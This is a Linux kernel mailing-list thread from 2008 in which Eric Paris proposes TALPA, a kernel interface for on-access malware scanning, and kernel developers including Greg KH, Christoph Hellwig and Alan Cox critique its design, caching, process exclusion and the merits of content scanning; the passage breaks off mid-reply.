[RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

Please contact me privately or (preferably the list) for questions,
comments, discussions, flames, names, or anything.  I'll do complete
rewrites of the patches if someone tells me how they don't meet their
needs or how they can be done better.  I'm here to try to bridge the
needs (and wants) of the anti-malware vendors with the technical
realities of the kernel.  So everyone feel free to throw in your two
cents and I'll try to reconcile it all.  These 5 patches are part 1.
They give us a working able solution.

>From my point of view patches forthcoming and mentioned below should
help with performance for those who actually have userspace scanners but
also could presents be implemented using this framework.


Background
++++++++++
There is a consensus in the security industry that protecting against
malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
of so-called on-access scanning is usable and reasonable approach.
Currently the Linux kernel does not offer a completely suitable
interface to implement such security solutions.  Present solutions
involve overwriting function pointers in the LSM, in filesystem
operations, in the sycall table, and other fragile hacks.  The purpose
of this project is to create a fast, clean interface for userspace
programs to look for malware when files are accessed.  This malware may
be ultimately intended for this or some other Linux machine or may be
malware intended to attack a host running a different operating system
and is merely in transit across the Linux server.  Since there are
almost an infinite number of ways in which information can enter and
exit a server it is not seen as reasonable to move these checks to all
the applications at the boundary (MTA, NFS, CIFS, SSH, rsync, et al.) to
look for such malware on at the border.

For this Linux kernel interface speed is of particular interest for
those who have it compiled into the kernel but have no userspace client.
There must be no measurable performance hit to just compiling this into
the kernel.

Security vendors, Linux distributors and other interested parties have
come together on the malware-list mailing list to discuss this problem
and see if they can work together to propose a solution. During these
talks couple of requirement sets were posted with the aim of fleshing
out common needs as a prerequisite of creating an interface prototype.

Collated requirements
+++++++++++++++++++++
  1. Intercept file opens (exec also) for vetting (block until decision is made) and allow some userspace black magic to make decisions.
  2. Intercept file closes for scanning post access
  3. Cache scan results so the same file is not scanned on each and every access
  4. Ability to flush the cache and cause all files to be re-scanned when accessed
  5. Define which filesystems are cacheable and which are not
  6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.
  7. Report other relevant file, process and user information associated with each interception
  8. Report file pathnames to userspace (relative to process root, current working directory)
  9. Mark a processes as exempt from on access scanning
 10. Exclude sub-trees from scanning based on filesystem (exclude procfs, sysfs, devfs)
 11. Exclude sub-trees from scanning based on filesystem path
 12. Include only certain sub-trees from scanning based on filesystem path
 13. Register more than one userspace client in which case behavior is restrictive


Discussion of requirements
++++++++++++++++++++++++++
The initial patch set with NOT meet all of these 'requirements.'  Some
will be implemented at a later time and some will never be implemented.
Specifics are detailed below.  There is no intention to (abu)use the LSM
for this purpose.  The LSM provides complete internal kernel mandatory
access controls.  It is not intended for userspace scanning and
detection.  Users should not be forced to choose between an in kernel
mandatory access control policy and this additional userspace file
access.  LSM stacking is NOT as option as has been demonstrated
repeatedly.

1., 2. Basic interception
-------------------------
Core requirement is to intercept access to files and prevent it if
malicious content is detected.  This is done on open, not on read.  It
may be possible to do read time checking with minimal performance impact
although not currently implemented.  This means that the following race
is possible

   Process1              Process2
    - open file RD
                          - open file WR
                          - write virus data (1)
    - read virus data

*note that any open after (1) will get properly vetted.  At this time
the likely hood of this being a problem vs the performance impact of
scanning on read and the increased complexity of the code means this is
left out.  This should not be a problem for local executables as writes
to files opened to be run typically return ETXTBSY.

To accomplish that two hooks were inserted, on file open in
__dentry_open and in filp_close on file close. In both cases the file
object in question is passed as a parameter for further processing. In
case of an open the operation can actually be blocked, while closes are
always immediately successful and will not cause additional blocking.
Results of a close are returned to the kernel asynchronously and may be
used to cache answers to speed up a future open.

Interception processing is done by way of three chains of filters.
Access requests are first send to the "evaluation" chain.  Depending on
the results of the evaluation the decision is then send to either the
allow chain or the deny chain.

There are three basic responses each filter can make - to be indifferent
or either allow or deny access to the file.  The filter may also allow
or deny access to a file while not caching that result.

One of the most important filters in the evaluation chain implements an
interface through which an userspace process can register and receive
vetting requests. Userspace process opens a misc character device to
express its interest and then receives binary structures from that
device describing basic interception information. After file contents
have been scanned a vetting response is sent by writing a different
binary structure back to the device and the intercepted process
continues its execution.  These are not done over network sockets and no
endian conversions are done.  The client and the kernel must have the
same endian configuration.

3., 4. Caching
---------------
To avoid scanning unchanged files on every access which would be very
bad for performance some sort of caching is needed.  Although possible
to implement a cache in userspace having two context switches required
for every open is clearly not fast.  We implemented it per inode object
as a serial number compared with a single global monotonically
increasing system serial number.

The cache filter is inserted into the evaluation chain before the
userspace client filter and if the inode serial number is equal to the
system one it allows access to the file.

If the file is seen for the first time, has been modified, or for any
other reason has a serial number less than the system one the cache
filter will be 'indifferent' and processing of the given vetting request
will continue down the evaluation chain.  When some filter (only
Userspace in the first patch set) allows access to a file its inode
serial number is set to the system global which effectively makes it
cached. Also, when a write access is gained for a file the serial number
will automatically be reset as well as when any process actually writes
to that file.

Cache flushing is possible by simply increasing the global system serial
number.

Both positive and negative vetting results are cached by the means of
positive and negative serial numbers.

This method of caching has minimal impact on system resources while
providing maximal effectiveness and simple implementation.

5. Fine-grained caching
-----------------------
It is necessary to select which filesystems can be safely cached and
which must not be. For example it is not a good idea to allow caching of
network filesystems because their content can be changed invisibly. Disk
based and some virtual filesystems can be cached safely on the other
hand.

This first proposal only partially implements this requirement. Only
block device backed filesystems will be cached while there is no way to
enable caching for things like tmpfs. Improving this is left out of the
initial prototype.  Although there may be additional work to implement
caching for certain FS types there is no plan to greatly increase the
scope of the cache granularity.  There is no plan to cache based on the
operation or things of that nature.  Caching of this nature can be
implemented in userspace if the vendor so chooses.  We include only a
minimal safe cache for performance reasons.

6. Direct access to file content
--------------------------------
When an userspace daemon receives a vetting request, it also receives a
new RO file descriptor which provides direct access to the inode in
question. This is to enable access to the file regardless of it
accessibility from the scanner environment (consider process namespaces,
chroot's, NFS).  The userspace client is responsible for closing this
file when it is finished scanning.

7. Other reporting
------------------
Along with the fd being installed in the scanning process the process
gets a binary structure of data including: 

+       uint32_t version;
+       uint32_t type;
+       int32_t fd;
+       uint32_t operation;
+       uint32_t flags;
+       uint32_t mode;
+       uint32_t uid;
+       uint32_t gid;
+       uint32_t tgid;
+       uint32_t pid;

8. Path name reporting
----------------------
When a malicious content is detected in a file it is important to be
able to report its location so the user or system administrator can take
appropriate actions.

This is implemented in a amazingly simple way which will hopefully avoid
the controversy of some other solutions. Path name is only needed for
reporting purposes and it is obtained by reading the symlink of the
given file descriptor in /proc.  Its as simple as userspace calling:

snprintf(link, sizeof(link), "/proc/self/fd/%d", details.fd);
ret = readlink(link, buf, sizeof(buf)-1);

9. Process exclusion
--------------------
Sometimes it is necessary to exclude certain processes from being
intercepted. For example it might be a userspace root kit scanner which
would not be able to find root kits if access to them was blocked by the
on-access scanner.

To facilitate that we have created a special file a process can open and
register itself as excluded. A flag is then put into its kernel
structure (task_struct) which makes it excluded from scanning.

This implementation is very simple and provides greatest performance. In
the proposed implementation access to the exclusion device is controlled
though permissions on the device node which are not sufficient.  An LSM
call will need to be made for this type or access in a later patch.

10. Filesystem exclusions
-------------------------
One pretty important optimization is not to scan things like /proc, /sys
or similar. Basically all filesystems where user can not store
arbitrary, potentially malicious, content could and should be excluded
from scanning.

This interface prototype implements it as a run-time configurable list
of filesystem names. Again it is a filter in the evaluation chain which
can allow access before the request gets routed to the userspace client.

This will not be implemented in the first patch set but should be soon
to follow.  It is done by simply comparing strings between those
supplied and the s_type->name field in an associated superblock.

11. Path exclusions
-------------------
The need for exclusions can be demonstrated with an example of a MySQL
server. It's data files are frequently modified which means they would
need to be constantly rescanned which is very bad for performance. Also,
it is most often not even possible to reasonably scan them. Therefore
the best solution is not to scan its database store which can simply be
implemented by excluding the store subdirectory.

It is a relatively simple implementation which allows run-time
configuration of a list of sub directories or files to exclude.
Exclusion paths are relative to each process root. So for example if we
want to exclude /var/lib/mysql/ and we have a mysql running in a chroot
where from the outside that directory actually lives
in /chroot/mysql/var/lib/mysql, /var/lib/mysql should actually be added
to the exclusion list.

This is also not included in the initial patch set but will be coming
shortly after.

12. Path Inclusions
-------------------

Path-based inclusions are not implemented due to concerns with
hard-linked files both inside and outside the included directories.  It
is too easy to fall into a sense of false security with path inclusions
since the pathname is almost meaningless.  If a vendor feels this is
particularly important for them they will have to implement it in
userspace by use of a judicious list of exclusion filters.


13. Multiple client registration with restrictive behavior
-----------------------------------------------------------
This is currently not implemented. Multiple clients can register but
they will be used for (crappy) load balancing only.  Not all will be
called for a single interception. Only one of the registered clients
will process a single interception. Desire here is to enable multiple
clients servicing interceptions in parallel for performance and
reliability reasons.

Requirement for serial and restrictive behavior would be slightly more
complicated to implement because we would want to keep the current
behavior as well. Or in other words we would need to have groups of
multiple clients, where each interception would go through one client
from each group with the desired restrictive behavior.

This may be left for a future implementation for simplicity reasons but
I find it unlikely.  If a vendor needs to send requests to multiple
scanners they should be able to implement that serialization in
userspace.  I see no need for an in kernel event dispatcher.  Note that
the audit system had this same need and has done it as a userspace event
dispatcher.  We have also seen in the LSM that restrictive access
stacking is not as easy as it sounds and has been abandoned.

Closing remarks
---------------
Although some may argue some of the filters are not necessary or may
better be implemented in userspace, we think it is better to have them
in kernel primarily for performance reasons. Secondly, it is all simple
code not introducing much baggage or risk into the kernel itself.  The
most complex filter and the only one with locking ramifications is the
userspace client vetting which calls into dentry_open() on both open and
close operations.  There is no locking around caching or process
exclusions or other work.

**************************

The patches can be found in a git tree located:

http://git.infradead.org/users/eparis/talpa.git

since:

commit 2b12a4c524812fb3f6ee590a02e65b95c8c32229
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Fri Aug 1 14:59:11 2008 -0700

    Merge branch 'release' of git://git.kernel.org/pub/scm/linux/kernel/git/aegl/linux-2.6

This tree will be rebased regularly, so please do not just start pulling
and hoping it will continue to always merge.  My current plan is to
commit changes and comments on the end of this tree and eventually
reroll those changes into these 5 patches for finally submission to
upstream.  Likely this will be an iterative process.

The 5 patches in the following e-mails can also be found at
http://people.redhat.com/~eparis/talpa

 Documentation/talpa/allow_most.c        |  138 ++++++++
 Documentation/talpa/cache               |   17 +
 Documentation/talpa/client              |   85 +++++
 Documentation/talpa/design.txt          |  266 +++++++++++++++
 Documentation/talpa/tecat.c             |   50 ++
 Documentation/talpa/test_deny.c         |  356 ++++++++++++++++++++
 Documentation/talpa/thread_exclude      |    6 
 fs/inode.c                              |    6 
 fs/namei.c                              |    2 
 fs/open.c                               |   10 
 include/linux/fs.h                      |    5 
 include/linux/sched.h                   |    1 
 include/linux/talpa.h                   |  188 +++++++++++
 security/Kconfig                        |    1 
 security/Makefile                       |    2 
 security/talpa/Kconfig                  |   51 +++
 security/talpa/Makefile                 |   17 -
 security/talpa/talpa.h                  |  115 ++++++
 security/talpa/talpa_allow_calls.h      |   12 
 security/talpa/talpa_cache.c            |  207 ++++++++++++
 security/talpa/talpa_cache.h            |   22 +
 security/talpa/talpa_client.c           |  543 ++++++++++++++++++++++++++++++++
 security/talpa/talpa_common.c           |   56 +++
 security/talpa/talpa_configuration.c    |  156 +++++++++
 security/talpa/talpa_deny_calls.h       |   11 
 security/talpa/talpa_evaluation_calls.h |   42 ++
 security/talpa/talpa_interceptor.c      |  121 +++++++
 security/talpa/talpa_thread_exclude.c   |   67 +++
 28 files changed, 2546 insertions(+), 7 deletions(-)

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Greg KH]

On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:
> Please contact me privately or (preferably the list) for questions,
> comments, discussions, flames, names, or anything.  I'll do complete
> rewrites of the patches if someone tells me how they don't meet their
> needs or how they can be done better.  I'm here to try to bridge the
> needs (and wants) of the anti-malware vendors with the technical
> realities of the kernel.  So everyone feel free to throw in your two
> cents and I'll try to reconcile it all.  These 5 patches are part 1.
> They give us a working able solution.
> 
> >From my point of view patches forthcoming and mentioned below should
> help with performance for those who actually have userspace scanners but
> also could presents be implemented using this framework.
> 
> 
> Background
> ++++++++++
> There is a consensus in the security industry that protecting against
> malicious files (viruses, root kits, spyware, ad-ware, ...) by the way
> of so-called on-access scanning is usable and reasonable approach.
> Currently the Linux kernel does not offer a completely suitable
> interface to implement such security solutions.  Present solutions
> involve overwriting function pointers in the LSM, in filesystem
> operations, in the sycall table, and other fragile hacks.  The purpose
> of this project is to create a fast, clean interface for userspace
> programs to look for malware when files are accessed.  This malware may
> be ultimately intended for this or some other Linux machine or may be
> malware intended to attack a host running a different operating system
> and is merely in transit across the Linux server.  Since there are
> almost an infinite number of ways in which information can enter and
> exit a server it is not seen as reasonable to move these checks to all
> the applications at the boundary (MTA, NFS, CIFS, SSH, rsync, et al.) to
> look for such malware on at the border.
> 
> For this Linux kernel interface speed is of particular interest for
> those who have it compiled into the kernel but have no userspace client.
> There must be no measurable performance hit to just compiling this into
> the kernel.
> 
> Security vendors, Linux distributors and other interested parties have
> come together on the malware-list mailing list to discuss this problem
> and see if they can work together to propose a solution. During these
> talks couple of requirement sets were posted with the aim of fleshing
> out common needs as a prerequisite of creating an interface prototype.

These requirements were posted?  Where?  I don't recall seeing them.

> Collated requirements
> +++++++++++++++++++++
>   1. Intercept file opens (exec also) for vetting (block until
>   decision is made) and allow some userspace black magic to make
>   decisions.
>   2. Intercept file closes for scanning post access
>   3. Cache scan results so the same file is not scanned on each and every access
>   4. Ability to flush the cache and cause all files to be re-scanned when accessed
>   5. Define which filesystems are cacheable and which are not
>   6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.
>   7. Report other relevant file, process and user information associated with each interception
>   8. Report file pathnames to userspace (relative to process root, current working directory)
>   9. Mark a processes as exempt from on access scanning
>  10. Exclude sub-trees from scanning based on filesystem (exclude procfs, sysfs, devfs)
>  11. Exclude sub-trees from scanning based on filesystem path
>  12. Include only certain sub-trees from scanning based on filesystem path
>  13. Register more than one userspace client in which case behavior is restrictive

I don't see anything in the list above that make this a requirement that
the code to do this be placed within the kernel.

What is wrong with doing it in glibc or some other system-wide library
(LD_PRELOAD hooks, etc.)?

> 1., 2. Basic interception
> -------------------------
> Core requirement is to intercept access to files and prevent it if
> malicious content is detected.  This is done on open, not on read.  It
> may be possible to do read time checking with minimal performance impact
> although not currently implemented.  This means that the following race
> is possible
> 
>    Process1              Process2
>     - open file RD
>                           - open file WR
>                           - write virus data (1)
>     - read virus data

Wonderful, we are going to implement a solution that is known to not
work, with a trivial way around it?

Sorry, that's not going to fly.

> *note that any open after (1) will get properly vetted.  At this time
> the likely hood of this being a problem vs the performance impact of
> scanning on read and the increased complexity of the code means this is
> left out.  This should not be a problem for local executables as writes
> to files opened to be run typically return ETXTBSY.

Are you sure about this?

> One of the most important filters in the evaluation chain implements an
> interface through which an userspace process can register and receive
> vetting requests. Userspace process opens a misc character device to
> express its interest and then receives binary structures from that
> device describing basic interception information. After file contents
> have been scanned a vetting response is sent by writing a different
> binary structure back to the device and the intercepted process
> continues its execution.  These are not done over network sockets and no
> endian conversions are done.  The client and the kernel must have the
> same endian configuration.

How about the same 64/32bit requirement?  Your implementation is
incorrect otherwise.

(hint, your current patch is also wrong in this area, you should fix
that up...)

And a binary structure?  Ick, are you trying to make it hard for future
expansions and such?

And why not netlink/network socket?  Why a character device?  You are
already using securityfs, why not use a file node in there?

> 6. Direct access to file content
> --------------------------------
> When an userspace daemon receives a vetting request, it also receives a
> new RO file descriptor which provides direct access to the inode in
> question. This is to enable access to the file regardless of it
> accessibility from the scanner environment (consider process namespaces,
> chroot's, NFS).  The userspace client is responsible for closing this
> file when it is finished scanning.

Is this secondary file handle properly checked for the security issues
involved with such a thing?  What happens if the userspace client does
not close the file handle?

> 7. Other reporting
> ------------------
> Along with the fd being installed in the scanning process the process
> gets a binary structure of data including: 

What's with the love of binary structures? :)

> +       uint32_t version;
> +       uint32_t type;
> +       int32_t fd;
> +       uint32_t operation;
> +       uint32_t flags;
> +       uint32_t mode;
> +       uint32_t uid;
> +       uint32_t gid;
> +       uint32_t tgid;
> +       uint32_t pid;

What happens when the world moves to 128bit or 64bit uids?  (yes, I've
seen proposals for such a thing...)

Why would userspace care about these meta-file things, what does it want
with them?

> 8. Path name reporting
> ----------------------
> When a malicious content is detected in a file it is important to be
> able to report its location so the user or system administrator can take
> appropriate actions.
> 
> This is implemented in a amazingly simple way which will hopefully avoid
> the controversy of some other solutions. Path name is only needed for
> reporting purposes and it is obtained by reading the symlink of the
> given file descriptor in /proc.  Its as simple as userspace calling:
> 
> snprintf(link, sizeof(link), "/proc/self/fd/%d", details.fd);
> ret = readlink(link, buf, sizeof(buf)-1);

Cute hack.  What's to keep it from racing with the fd changing from the
original program?

> 9. Process exclusion
> --------------------
> Sometimes it is necessary to exclude certain processes from being
> intercepted. For example it might be a userspace root kit scanner which
> would not be able to find root kits if access to them was blocked by the
> on-access scanner.
> 
> To facilitate that we have created a special file a process can open and
> register itself as excluded. A flag is then put into its kernel
> structure (task_struct) which makes it excluded from scanning.
> 
> This implementation is very simple and provides greatest performance. In
> the proposed implementation access to the exclusion device is controlled
> though permissions on the device node which are not sufficient.  An LSM
> call will need to be made for this type or access in a later patch.

Heh, so if you want to write a "virus" for Linux, just implement this
flag.  What's to keep a "rogue" program from telling the kernel that all
programs on the system are to be excluded?

> 10. Filesystem exclusions
> -------------------------
> One pretty important optimization is not to scan things like /proc, /sys
> or similar. Basically all filesystems where user can not store
> arbitrary, potentially malicious, content could and should be excluded
> from scanning.

Why, does scanning these files take extra time?  Just curious.

> 11. Path exclusions
> -------------------
> The need for exclusions can be demonstrated with an example of a MySQL
> server. It's data files are frequently modified which means they would
> need to be constantly rescanned which is very bad for performance. Also,
> it is most often not even possible to reasonably scan them. Therefore
> the best solution is not to scan its database store which can simply be
> implemented by excluding the store subdirectory.
> 
> It is a relatively simple implementation which allows run-time
> configuration of a list of sub directories or files to exclude.
> Exclusion paths are relative to each process root. So for example if we
> want to exclude /var/lib/mysql/ and we have a mysql running in a chroot
> where from the outside that directory actually lives
> in /chroot/mysql/var/lib/mysql, /var/lib/mysql should actually be added
> to the exclusion list.
> 
> This is also not included in the initial patch set but will be coming
> shortly after.

Again, what's to keep all files to be marked as excluded?

> Closing remarks
> ---------------
> Although some may argue some of the filters are not necessary or may
> better be implemented in userspace, we think it is better to have them
> in kernel primarily for performance reasons.

Why?  What numbers do you have that say the kernel is faster in
implementing this?  This is the first mention of such a requirement, we
need to see real data to back it up please.

> Secondly, it is all simple code not introducing much baggage or risk
> into the kernel itself.

I disagree, see above.

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Christoph Hellwig]

On Mon, Aug 04, 2008 at 03:32:49PM -0700, Greg KH wrote:
> >   1. Intercept file opens (exec also) for vetting (block until
> >   decision is made) and allow some userspace black magic to make
> >   decisions.

NACK, this kind of policy should be done in kernelspace.

> >   2. Intercept file closes for scanning post access

Not  even possible for mmap, and dumb otherwise, NACK.

> >   6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.

Explain? 

> >   9. Mark a processes as exempt from on access scanning

Nack, this completely defeats the purpose.

> >  11. Exclude sub-trees from scanning based on filesystem path
> >  12. Include only certain sub-trees from scanning based on filesystem path

Nack, please no pathname based idiocies.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Mon, 2008-08-04 at 20:26 -0400, Christoph Hellwig wrote:
> On Mon, Aug 04, 2008 at 03:32:49PM -0700, Greg KH wrote:
> > >   1. Intercept file opens (exec also) for vetting (block until
> > >   decision is made) and allow some userspace black magic to make
> > >   decisions.
> 
> NACK, this kind of policy should be done in kernelspace.

What?  You want to write and in kernel scanner for Window viruses?

> 
> > >   2. Intercept file closes for scanning post access
> 
> Not  even possible for mmap, and dumb otherwise, NACK.

I don't know when files get closed and can't preemptively scan to make
sure it is clean for the next open?  Any writes are going to invalidate
the allow/deny cache....

> 
> > >   6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.
> 
> Explain? 

The data connected with the file being opened must as reasonably as
possible be the data the 'scanner' looks at.  Some foolish early
discussion wanted to do simplistic things like pass a pathname to a
scanner and have it call open on that path name.  I'm willing to
entertain any other method of making the scanner look at the data the
process is about to get.

> 
> > >   9. Mark a processes as exempt from on access scanning
> 
> Nack, this completely defeats the purpose.

What? it allows a process to open a file that contains malware, how is
that horrible.  If a process says "I want to see malware" it can then
see malware.  Doesn't in any way affect other processes or the system
security as a whole.  If 'bad' data gets into a file its going to get
blocked from everything that doesn't actively choose to see it.

> 
> > >  11. Exclude sub-trees from scanning based on filesystem path
> > >  12. Include only certain sub-trees from scanning based on filesystem path
> 
> Nack, please no pathname based idiocies.

Go read the long explainations, I already rules out path based
inclusions.  I'm leaving exclusions up for grabs since I don't see it
weakening the security model.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Christoph Hellwig]

On Mon, Aug 04, 2008 at 08:47:04PM -0400, Eric Paris wrote:
> On Mon, 2008-08-04 at 20:26 -0400, Christoph Hellwig wrote:
> > On Mon, Aug 04, 2008 at 03:32:49PM -0700, Greg KH wrote:
> > > >   1. Intercept file opens (exec also) for vetting (block until
> > > >   decision is made) and allow some userspace black magic to make
> > > >   decisions.
> > 
> > NACK, this kind of policy should be done in kernelspace.
> 
> What?  You want to write and in kernel scanner for Window viruses?

No, I want a sane security policy in kernelsapce that doesn't look
at the content because doing security by content properly is equivalent
to solving the halting problem.  I couldn't give a rats a** about
windows viruses as they can't actually cause any harm on a Linux
machine.

> > 
> > > >   6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.
> > 
> > Explain? 
> 
> The data connected with the file being opened must as reasonably as
> possible be the data the 'scanner' looks at.  Some foolish early
> discussion wanted to do simplistic things like pass a pathname to a
> scanner and have it call open on that path name.  I'm willing to
> entertain any other method of making the scanner look at the data the
> process is about to get.

Well, data can change all the time, as can the path name.  This whole
content scanning thing doesn't make any sense at all.

> > > >   9. Mark a processes as exempt from on access scanning
> > 
> > Nack, this completely defeats the purpose.
> 
> What? it allows a process to open a file that contains malware, how is
> that horrible.  If a process says "I want to see malware" it can then
> see malware.  Doesn't in any way affect other processes or the system
> security as a whole.  If 'bad' data gets into a file its going to get
> blocked from everything that doesn't actively choose to see it.

So make this opt-in and in userspace.  Just LD_PRELOAD some monster lib
doing all the horrible things you propose and use it wherever you want.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Kyle Moffett]

On Mon, Aug 4, 2008 at 8:54 PM, Christoph Hellwig <hch@infradead.org> wrote:
> On Mon, Aug 04, 2008 at 08:47:04PM -0400, Eric Paris wrote:
>> On Mon, 2008-08-04 at 20:26 -0400, Christoph Hellwig wrote:
>> > NACK, this kind of policy should be done in kernelspace.
>>
>> What?  You want to write and in kernel scanner for Window viruses?
>
> No, I want a sane security policy in kernelsapce that doesn't look
> at the content because doing security by content properly is equivalent
> to solving the halting problem.  I couldn't give a rats a** about
> windows viruses as they can't actually cause any harm on a Linux
> machine.

Much better solution:

Use SELinux or another similar Mandatory Access Control labeling
system.  Mark some things as "trusted" or "privileged" or whatever
your particular labeling methodology requires.  Mark other things as
"untrusted", "unprivileged", "internet file", etc.  Disallow most
interaction between "trusted" and "untrusted" things.  Configure your
userspace virus-scanner which is allowed to read "untrusted" files and
create "semi-trusted" files in a particular directory, where they can
then be picked up by "trusted" programs.

Problem solved.  Untrusted and possibly-compromised files can't be
executed, or even if they could be they can't do anything
interesting/harmful.  In order to execute some junk you just
downloaded from the internet you have to click "Yes I accept the
security risk" and run it through whatever virus-scanner you want.
Then you copy it from the virus-scanner output directory into
somewhere else and run it.

You can do the same thing with software updates downloaded from the
internet, just replace "trusted" with "installed package",
"semi-trusted" with "valid package", "untrusted" with "just-downloaded
package file", and "virus scanner" with "package signature
verification tool".

I could easily come up with a bunch more examples if you really care that much.

Cheers,
Kyle Moffett

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> Much better solution:

And one which was found lacking about 1950...

> Problem solved.  Untrusted and possibly-compromised files can't be
> executed, or even if they could be they can't do anything

Two things
- Scripts
- Attacks based on compromising a live binary

You can use SELinux to control what is executed and it is a very
effective management control technique. However it doesn't control
javascript in web pages, exploits that popen perl and chat to it and so
on...

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> No, I want a sane security policy in kernelsapce that doesn't look
> at the content because doing security by content properly is equivalent
> to solving the halting problem.  I couldn't give a rats a** about
> windows viruses as they can't actually cause any harm on a Linux
> machine.

Go on then.. post patches.

I think your are being incredibly naïve. Our memory debugging is not 100%
solid but work by heuristic. Our lock analysis doesn't solve the halting
problem but is extremely useful and so on.

> Well, data can change all the time, as can the path name.  This whole
> content scanning thing doesn't make any sense at all.

Phone numbers change all the time, shall we burn all the phone books ?

> So make this opt-in and in userspace.  Just LD_PRELOAD some monster lib
> doing all the horrible things you propose and use it wherever you want.

Rather tricky as the needed hooks don't exist and you need to get ahead
of even ld.so as well as protect suid apps. You've clearly not even
thought about the problem space before sounding off because there are
more elegant ways of tackling it even if you want to push it at
userspace, and ones that aren't implausible like LD_PRELOAD.

If you'd applied even 30 seconds thought you would at least be pointing
people at FUSE or a stacking fs.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Peter Zijlstra]

On Tue, 2008-08-05 at 12:31 +0100, Alan Cox wrote:
> > No, I want a sane security policy in kernelsapce that doesn't look
> > at the content because doing security by content properly is equivalent
> > to solving the halting problem.  I couldn't give a rats a** about
> > windows viruses as they can't actually cause any harm on a Linux
> > machine.
> 
> Go on then.. post patches.
> 
> I think your are being incredibly naïve. Our memory debugging is not 100%
> solid but work by heuristic. Our lock analysis doesn't solve the halting
> problem but is extremely useful and so on.

Sure, but what's the point of partial security? It seems to me you're
not secure until you're fully secure, so why bother with almost?

Every bug caught with the debuggers is one caught, yay :-)

Every virus let through is a pawned system, aww :-(

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Alan Cox]

> Sure, but what's the point of partial security? It seems to me you're
> not secure until you're fully secure, so why bother with almost?
> 
> Every bug caught with the debuggers is one caught, yay :-)
> 
> Every virus let through is a pawned system, aww :-(

Every bug missed is a crash. Security is not an absolute. If I burst into
your office with a machine gun and ask you for the password your security
system probably fails ...

Security is a risk/reward model.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Nick Piggin]

On Tuesday 05 August 2008 21:31, Alan Cox wrote:
> > No, I want a sane security policy in kernelsapce that doesn't look
> > at the content because doing security by content properly is equivalent
> > to solving the halting problem.  I couldn't give a rats a** about
> > windows viruses as they can't actually cause any harm on a Linux
> > machine.
>
> Go on then.. post patches.

Onus is not (or actually often is, but should not) be on reviewers
to do this. That effectively further reduces review bandwidth.

I can see why "feature" writers like the idea though. Either they
get someone to do their work for them, or negative reviews
disappear :)

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Andi Kleen]

Christoph Hellwig <hch@infradead.org> writes:

> I couldn't give a rats a** about
> windows viruses as they can't actually cause any harm on a Linux
> machine.

My guess is that wine is good enough these days to run many Windows 
worms actually.

-Andi

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Rik van Riel]

On Wed, 06 Aug 2008 04:41:04 +0200
Andi Kleen <andi@firstfloor.org> wrote:
> Christoph Hellwig <hch@infradead.org> writes:
> 
> > I couldn't give a rats a** about
> > windows viruses as they can't actually cause any harm on a Linux
> > machine.
> 
> My guess is that wine is good enough these days to run many Windows 
> worms actually.

Firefox, Open Office and other applications are probably large and
feature rich enough that making worms for them might be possible.

Not being able to harm the operating system is not the same as not
being able to harm the user.  We still want some protection from
the latter...

-- 
All Rights Reversed

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[Eric Paris]

On Mon, 2008-08-04 at 15:32 -0700, Greg KH wrote:
> On Mon, Aug 04, 2008 at 05:00:16PM -0400, Eric Paris wrote:

> > Security vendors, Linux distributors and other interested parties have
> > come together on the malware-list mailing list to discuss this problem
> > and see if they can work together to propose a solution. During these
> > talks couple of requirement sets were posted with the aim of fleshing
> > out common needs as a prerequisite of creating an interface prototype.
> 
> These requirements were posted?  Where?  I don't recall seeing them.

they were collected from the comments of Sophos, CA, and McAfee on
malware-list@lists.printk.net back in January 2008.  I can't find the
lists archived on the net so I will post the raw messages tomorrow from
my local mail store and send a link.

> 
> > Collated requirements
> > +++++++++++++++++++++
> >   1. Intercept file opens (exec also) for vetting (block until
> >   decision is made) and allow some userspace black magic to make
> >   decisions.
> >   2. Intercept file closes for scanning post access
> >   3. Cache scan results so the same file is not scanned on each and every access
> >   4. Ability to flush the cache and cause all files to be re-scanned when accessed
> >   5. Define which filesystems are cacheable and which are not
> >   6. Scan files directly not relying on path.  Avoid races and problems with namespaces, chroot, containers, etc.
> >   7. Report other relevant file, process and user information associated with each interception
> >   8. Report file pathnames to userspace (relative to process root, current working directory)
> >   9. Mark a processes as exempt from on access scanning
> >  10. Exclude sub-trees from scanning based on filesystem (exclude procfs, sysfs, devfs)
> >  11. Exclude sub-trees from scanning based on filesystem path
> >  12. Include only certain sub-trees from scanning based on filesystem path
> >  13. Register more than one userspace client in which case behavior is restrictive
> 
> I don't see anything in the list above that make this a requirement that
> the code to do this be placed within the kernel.
> 
> What is wrong with doing it in glibc or some other system-wide library
> (LD_PRELOAD hooks, etc.)?

It may be possible to do in glibc, LD_PRELOAD doesn't exactly work for
suid binaries

> 
> > 1., 2. Basic interception
> > -------------------------
> > Core requirement is to intercept access to files and prevent it if
> > malicious content is detected.  This is done on open, not on read.  It
> > may be possible to do read time checking with minimal performance impact
> > although not currently implemented.  This means that the following race
> > is possible
> > 
> >    Process1              Process2
